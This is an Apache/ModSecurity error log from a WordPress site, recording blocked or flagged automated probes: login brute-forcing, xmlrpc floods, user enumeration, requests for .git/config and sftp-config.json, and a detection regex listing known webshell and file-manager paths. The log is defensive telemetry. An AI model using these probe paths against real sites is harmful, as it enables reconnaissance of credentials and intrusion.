[Wed Nov 26 11:02:15.721870 2025] [:error] [pid 35540:tid 35559] [client 85.95.216.149:26642] [client 85.95.216.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.95.216.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSZtt8GrIq2A6SZSnkJJXAAAAI0"]
[Wed Nov 26 11:02:18.298622 2025] [:error] [pid 45836:tid 45866] [client 85.95.216.149:52572] [client 85.95.216.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.95.216.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSZtupfrnOGqL-seZAwZUgAAANQ"]
[Wed Nov 26 11:16:35.642440 2025] [:error] [pid 34830:tid 34837] [client 190.89.239.16:24953] [client 190.89.239.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.89.239.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSZxE0ukvkWgWN6jCR2LvQAAAAU"]
[Wed Nov 26 11:22:28.311130 2025] [:error] [pid 34743:tid 34778] [client 180.110.203.108:34519] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aSZydAvyX7Q5oU7_mByBZwAAAUI"]
[Wed Nov 26 12:25:44.157492 2025] [:error] [pid 45901:tid 45927] [client 115.79.32.136:43986] [client 115.79.32.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 115.79.32.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSaBSCunQ1SpfPRNrtyYIgAAARg"]
[Wed Nov 26 12:25:49.972701 2025] [:error] [pid 10383:tid 10396] [client 115.79.32.136:52220] [client 115.79.32.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 115.79.32.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSaBTa0RJ-zjhOVjD8-5IgAAAco"]
[Wed Nov 26 12:27:50.221092 2025] [:error] [pid 34830:tid 34852] [client 35.242.254.186:33968] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSaBxkukvkWgWN6jCR2bBQAAABQ"]
[Wed Nov 26 13:30:39.543087 2025] [:error] [pid 35540:tid 35565] [client 35.194.45.168:37332] [client 35.194.45.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.194.45.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSaQf8GrIq2A6SZSnkJ4VAAAAJM"]
[Wed Nov 26 13:30:41.852052 2025] [:error] [pid 34744:tid 34815] [client 35.194.45.168:37340] [client 35.194.45.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.194.45.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSaQgUtgOvVbhyALkTT6FwAAAYw"]
[Wed Nov 26 13:36:14.467899 2025] [:error] [pid 10383:tid 10406] [client 167.86.80.181:59748] [client 167.86.80.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.80.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSaRzq0RJ-zjhOVjD8_PrQAAAdQ"]
[Wed Nov 26 13:43:35.310795 2025] [:error] [pid 35540:tid 35566] [client 139.59.30.253:60269] [client 139.59.30.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "aSaTh8GrIq2A6SZSnkJ8HAAAAJQ"], referer: binance.com
[Wed Nov 26 14:35:27.725345 2025] [:error] [pid 34744:tid 34818] [client 35.225.238.220:56644] [client 35.225.238.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.225.238.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSafr0tgOvVbhyALkTQT6gAAAY8"]
[Wed Nov 26 14:35:29.911841 2025] [:error] [pid 34742:tid 34762] [client 35.225.238.220:56656] [client 35.225.238.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.225.238.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSafsZSuLNwpQF_jzAdMCwAAAE4"]
[Wed Nov 26 14:54:14.372462 2025] [:error] [pid 45901:tid 45923] [client 5.223.50.243:54604] [client 5.223.50.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.223.50.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSakFiunQ1SpfPRNrty4tgAAARQ"]
[Wed Nov 26 15:49:32.367862 2025] [:error] [pid 45685:tid 45762] [client 59.125.102.226:45364] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSaxDFj3f_NRdgU0DQ6iHAAAARQ"]
[Wed Nov 26 17:05:03.578023 2025] [:error] [pid 6471:tid 6474] [client 81.8.91.201:43132] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSbCv-h3Z9TZLlRuTiNmZQAAAIA"]
[Wed Nov 26 18:10:36.257072 2025] [:error] [pid 20733:tid 20752] [client 158.247.243.94:55072] [client 158.247.243.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.247.243.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSbSHAV9EP2HuRvnH8dHPAAAANE"]
[Wed Nov 26 18:24:54.624084 2025] [:error] [pid 45684:tid 45729] [client 34.53.86.129:52321] [client 34.53.86.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.86.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSbVdvg5LMxwI4-PD1cx5gAAAA4"]
[Wed Nov 26 18:25:00.295515 2025] [:error] [pid 45684:tid 45733] [client 34.53.86.129:52321] [client 34.53.86.129] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSbVfPg5LMxwI4-PD1cx7gAAABI"]
[Wed Nov 26 18:25:02.731089 2025] [:error] [pid 45684:tid 45716] [client 34.53.86.129:52321] [client 34.53.86.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.86.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSbVfvg5LMxwI4-PD1cx8wAAAAE"]
[Wed Nov 26 18:25:04.492807 2025] [:error] [pid 46443:tid 46459] [client 34.53.86.129:60160] [client 34.53.86.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.86.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSbVgMLmDsnHrj-QFB_OmAAAAE4"]
[Wed Nov 26 18:25:06.360175 2025] [:error] [pid 45769:tid 45785] [client 34.53.86.129:60347] [client 34.53.86.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.86.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSbVgldG5Eht9c3yy4MXLQAAAc0"]
[Wed Nov 26 18:25:08.268057 2025] [:error] [pid 45684:tid 45729] [client 34.53.86.129:55819] [client 34.53.86.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.86.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSbVhPg5LMxwI4-PD1cyKwAAAA4"]
[Wed Nov 26 18:25:10.353180 2025] [:error] [pid 46443:tid 46454] [client 34.53.86.129:58712] [client 34.53.86.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.86.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSbVhsLmDsnHrj-QFB_OnAAAAEk"]
[Wed Nov 26 18:25:10.353416 2025] [:error] [pid 46443:tid 46454] [client 34.53.86.129:58712] [client 34.53.86.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.86.129, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSbVhsLmDsnHrj-QFB_OnAAAAEk"]
[Wed Nov 26 18:43:36.310257 2025] [:error] [pid 20733:tid 20753] [client 216.126.239.203:59672] [client 216.126.239.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSbZ2AV9EP2HuRvnH8dQQwAAANI"]
[Wed Nov 26 20:20:54.823275 2025] [:error] [pid 46443:tid 46450] [client 212.132.70.123:44432] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSbwpsLmDsnHrj-QFB_0DAAAAEU"]
[Wed Nov 26 21:10:53.603903 2025] [:error] [pid 6471:tid 6480] [client 8.218.212.177:36336] [client 8.218.212.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.218.212.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSb8XOh3Z9TZLlRuTiOqJQAAAIY"]
[Wed Nov 26 21:10:55.731780 2025] [:error] [pid 45685:tid 45760] [client 8.218.212.177:37072] [client 8.218.212.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.218.212.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSb8X1j3f_NRdgU0DQ7vKAAAARI"]
[Wed Nov 26 21:34:07.795871 2025] [:error] [pid 6471:tid 6485] [client 137.74.192.205:51522] [client 137.74.192.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.74.192.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aScBz-h3Z9TZLlRuTiOv9gAAAIs"]
[Wed Nov 26 21:54:13.544201 2025] [:error] [pid 20733:tid 20757] [client 103.1.187.190:46050] [client 103.1.187.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.1.187.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aScGhQV9EP2HuRvnH8d2fgAAANY"]
[Wed Nov 26 23:54:58.789668 2025] [:error] [pid 45685:tid 45753] [client 178.62.13.41:36958] [client 178.62.13.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.13.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSci0lj3f_NRdgU0DQ4QUwAAAQs"]
[Thu Nov 27 00:50:17.306512 2025] [:error] [pid 54723:tid 54743] [client 103.77.107.57:54569] [client 103.77.107.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aScvyQ2CEg7QoyDosdLxnwAAAA0"]
[Thu Nov 27 01:03:25.689057 2025] [:error] [pid 25262:tid 25334] [client 211.21.61.225:58938] [client 211.21.61.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aScy3U3p81VU3bYILBU_oQAAAg0"]
[Thu Nov 27 01:27:24.123359 2025] [:error] [pid 8184:tid 8261] [client 139.59.116.230:47566] [client 139.59.116.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.116.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSc4fL-M2IHkRYVrcbOHhwAAAFc"]
[Thu Nov 27 01:27:25.807800 2025] [:error] [pid 25262:tid 25335] [client 139.59.116.230:47568] [client 139.59.116.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.116.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSc4fU3p81VU3bYILBVD1wAAAg4"]
[Thu Nov 27 02:13:16.893444 2025] [:error] [pid 24814:tid 25080] [client 178.62.226.48:40292] [client 178.62.226.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.226.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSdDPAPn1NMGCdo6RsivngAAAUU"]
[Thu Nov 27 02:26:24.737597 2025] [:error] [pid 25180:tid 25205] [client 157.230.219.118:42392] [client 157.230.219.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.219.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSdGUL-owhtiwMHXYlzibwAAAZc"]
[Thu Nov 27 02:26:27.408727 2025] [:error] [pid 8184:tid 8242] [client 157.230.219.118:54720] [client 157.230.219.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.219.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSdGU7-M2IHkRYVrcbOb2QAAAEY"]
[Thu Nov 27 03:24:31.608687 2025] [:error] [pid 50776:tid 50870] [client 159.223.217.167:36826] [client 159.223.217.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.217.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSdT76IFZFZ_Cvol6thb9wAAAIM"]
[Thu Nov 27 04:35:51.828586 2025] [:error] [pid 6201:tid 6229] [client 211.21.61.225:41238] [client 211.21.61.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSdkpzkSJeRkIQGTjzwdtwAAABg"]
[Thu Nov 27 05:46:58.062957 2025] [:error] [pid 6290:tid 6301] [client 159.203.142.225:33792] [client 159.203.142.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.142.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSd1UoqL4zye-zKr6sumuQAAAMc"]
[Thu Nov 27 06:35:50.425670 2025] [autoindex:error] [pid 6201:tid 6216] [client 51.103.101.212:26569] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Thu Nov 27 06:35:51.572681 2025] [proxy_fcgi:error] [pid 6201:tid 6213] [client 51.103.101.212:26569] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Thu Nov 27 06:37:38.261986 2025] [:error] [pid 6203:tid 6276] [client 51.103.101.212:26516] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aSeBMsbdRL7aKyrgqyzpEwAAAJA"], referer: https://www.bing.com/
[Thu Nov 27 06:37:50.583180 2025] [:error] [pid 6203:tid 6262] [client 51.103.101.212:26590] [client 51.103.101.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.103.101.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSeBPsbdRL7aKyrgqyzpKwAAAII"], referer: https://www.yahoo.com/
[Thu Nov 27 06:37:53.715018 2025] [autoindex:error] [pid 21017:tid 21074] [client 51.103.101.212:26584] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Thu Nov 27 06:37:53.958126 2025] [autoindex:error] [pid 21017:tid 21060] [client 51.103.101.212:26584] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Thu Nov 27 06:37:55.459756 2025] [autoindex:error] [pid 21017:tid 21081] [client 51.103.101.212:26584] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Nov 27 06:37:57.347429 2025] [autoindex:error] [pid 21017:tid 21076] [client 51.103.101.212:26584] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Nov 27 06:37:57.593391 2025] [autoindex:error] [pid 21017:tid 21071] [client 51.103.101.212:26584] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Nov 27 06:37:57.846681 2025] [autoindex:error] [pid 21017:tid 21073] [client 51.103.101.212:26584] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Nov 27 06:38:03.468599 2025] [autoindex:error] [pid 21017:tid 21065] [client 51.103.101.212:26584] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Thu Nov 27 06:38:03.714034 2025] [autoindex:error] [pid 21017:tid 21071] [client 51.103.101.212:26584] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Nov 27 06:38:03.990280 2025] [autoindex:error] [pid 21017:tid 21062] [client 51.103.101.212:26584] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Nov 27 06:38:05.723075 2025] [autoindex:error] [pid 21017:tid 21064] [client 51.103.101.212:26584] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
